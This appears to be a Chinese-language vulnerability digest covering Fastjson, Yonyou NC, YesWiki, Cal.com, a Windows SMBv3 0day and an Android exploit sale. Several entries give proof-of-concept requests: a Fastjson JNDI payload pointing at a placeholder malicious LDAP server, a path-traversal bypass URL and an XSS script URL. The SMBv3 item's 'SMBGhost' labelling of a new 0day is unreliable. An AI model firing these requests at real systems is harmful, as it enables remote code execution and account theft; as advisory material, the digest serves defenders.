Windows SMBv3 RCE 与 Android 0day 等多项高危漏洞及利用代码详情

1、天*绿盾审批系统 Fastjson 反序列化远程代码执行漏洞

漏洞描述：
目标系统的 editConfigVal 接口在处理用户传入的 JSON 数据时，使用了存在安全缺陷的 Fastjson 版本。Fastjson 是一个高效的 Java JSON 库，但在特定版本中，其反序列化机制允许通过 @type 属性指定任意 Java 类进行实例化。

漏洞原理：
攻击者可构造恶意 JSON 数据，其中 @type 指向一个包含危险方法（如 com.sun.rowset.JdbcRowSetImpl）的类。当存在漏洞的 Fastjson 反序列化此 JSON 时，会触发 JNDI 注入等利用链，导致应用程序连接并加载远程恶意 LDAP/RMI 服务器上的代码，从而实现远程命令执行。

漏洞接口：
/trwfe/login.jsp/.%2e/rest/conf/editConfigVal

请求示例（POC）：

POST /trwfe/login.jsp/.%2e/rest/conf/editConfigVal HTTP/1.1
Host: [target]
Content-Type: application/json

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://[malicious-server]/A4",
    "autoCommit": true
}

2、*友NC UserSynchronizationServlet 反序列化漏洞

漏洞描述：
*友NC 系统的 UserSynchronizationServlet 接口存在 Java 反序列化漏洞，攻击者通过发送精心构造的序列化数据，可触发 Commons Collections 等通用库中的危险利用链，最终在目标服务器上执行任意命令。

请求示例（POC）：

POST /servlet/UserSynchronizationServlet?pageId=login HTTP/1.1
Host: [target]
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 1355
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
X-Originating-Ip: [REDACTED]
X-Remote-Addr: [REDACTED]
X-Remote-Ip: [REDACTED]

[序列化攻击载荷...]

注：上述载荷为十六进制格式的序列化数据，用于演示漏洞存在性，实际利用时包含命令执行逻辑。

3、CVE-2025-46549: YesWiki <= 4.5.1 反射型跨站脚本漏洞

漏洞描述：
YesWiki 4.5.1 及更早版本中，对 BazaR 模块 bazariframe 参数的输入过滤不严，存在反射型跨站脚本漏洞。攻击者可构造包含恶意脚本的 URL，诱导用户点击，从而窃取其会话 Cookie 或执行其他客户端攻击。

请求示例（POC）：

GET /?BazaR/bazariframe&id=2&template=%3cscript%3ealert(document.domain)%3c%2fscript%3e HTTP/1.1
Host: {{Hostname}}

4、Cal.com /api/auth/session 权限绕过漏洞（CVE-2026-23478）

漏洞描述：
在 Cal.com 3.1.6 至 6.0.7 版本中，其自定义的 NextAuth JWT 回调逻辑存在缺陷，导致身份认证可被绕过。攻击者通过调用 session.update() 方法并构造目标用户的邮箱地址作为参数，可直接获取该用户的完整登录会话令牌，实现账户接管。

5、Windows SMBv3 RCE 0day 漏洞利用

近期公开信息显示，一个影响广泛 Windows 版本的远程代码执行 0day 漏洞被捕获并演示。

（该图为技术讨论聊天记录截图，内容涉及相关工具的部署与渗透测试技巧）

漏洞关键信息：

• 漏洞类型：SMBGhost（SMBv3 协议远程代码执行）
• 利用方式：零点击，无需用户交互。
• 影响范围：可通过公网IP远程执行，影响包括 Windows 10、11、Windows Server 2019、2022、2025 在内的最新版本系统。
• 危害等级：攻击者可获得系统级完全控制权限。

6、Android 0day 漏洞与高价利用链

2026年1月16日，监测发现暗网渠道出现涉及 Android 系统的高危 0day 漏洞及完整漏洞利用链的售卖信息。

事件详情：
相关信息最初出现在 Telegram 频道，随后被迅速扩散至多个地下技术论坛。为佐证攻击能力，售卖方附带了一段漏洞利用的概念验证演示视频。据悉，完整的 Android 漏洞利用源代码标价高达 450 万美元；单独出售的漏洞利用 shellcode 标价为 40 万美元。攻击者还提供针对特定目标的后门植入服务，定价亦十分高昂。

技术背景：
此类漏洞通常涉及系统服务或内核驱动的权限提升，结合逆向工程手段制作出稳定的利用链，可在无需用户交互的情况下完全控制设备，对移动安全构成严峻挑战。